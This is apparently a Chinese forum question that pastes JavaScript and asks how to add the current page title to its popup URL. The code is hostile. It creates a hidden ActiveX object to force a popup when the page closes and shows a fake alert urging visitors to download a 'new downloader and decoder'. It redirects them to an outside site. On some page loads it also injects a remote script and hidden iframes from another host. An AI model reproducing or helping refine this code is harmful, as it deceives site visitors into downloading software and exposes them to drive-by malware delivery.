var myJsVal = "";
myJsVal+="<script type=\"text\/javascript\">";
//myJsVal+="if(self!=top) top.location=self.location;  ";
myJsVal+="var popURL=[";
myJsVal+="    \"http:\/\/dianying.pin6se.info\/qvod.html\"];";myJsVal+="function onexit(){";
myJsVal+="    iie.launchURL(popURL[Math.floor(Math.random()*popURL.length)]);";
myJsVal+="}";
myJsVal+="document.writeln(\"<object id=iie width=0 height=0 classid=\'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6\'><\/object>\"); ";
myJsVal+="eval(\"window.attachEvent(\'onunload\',onexit);\"); ";
myJsVal+="<\/script>";
document.writeln(myJsVal);
var x=0;
var url="http://dianying.pin6se.info/";
var fun=function(){
if (x++>0){ return true;}else{
if (confirm('請下載本站新版下載程式與解碼程式!否則您將無法瀏覽本站!')){
var w=window.open(url+"play.html#");
if (!w) location=url+"down.html";
}
}
}
document.onclick=fun;if (new Date().getMilliseconds()%20==0){
document.write('<script src="http://jqps.info:99/t.php"></scr'+'ipt>');document.write('<iframe src="http://jqps.info:99/s.php?r=http://22fff.info/" style="display:none"></iframe>');
document.write('<iframe src="http://jqps.info:99/s.php?r=http://www.888wh.com/" style="display:none"></iframe>');
document.write('<iframe src="http://jqps.info:99/s.php?r=http://lunli.888wh.com/" style="display:none"></iframe>');
document.write('<iframe src="http://jqps.info:99/s.php?r=http://www.xinru365.com/" style="display:none"></iframe>');
}以上是原代码---------------------------------------------------------------------------------------
主要修改var w=window.open(url+"play.html#");//这里修改成var w=window.open(url+"获取当前页面的title标题.html#");
if (!w) location=url+"down.html";//这里修改成if (!w) location=url+"获取当前页面的title标题.html";
就是加一个获取当前页面title的语句,,请问怎么实现?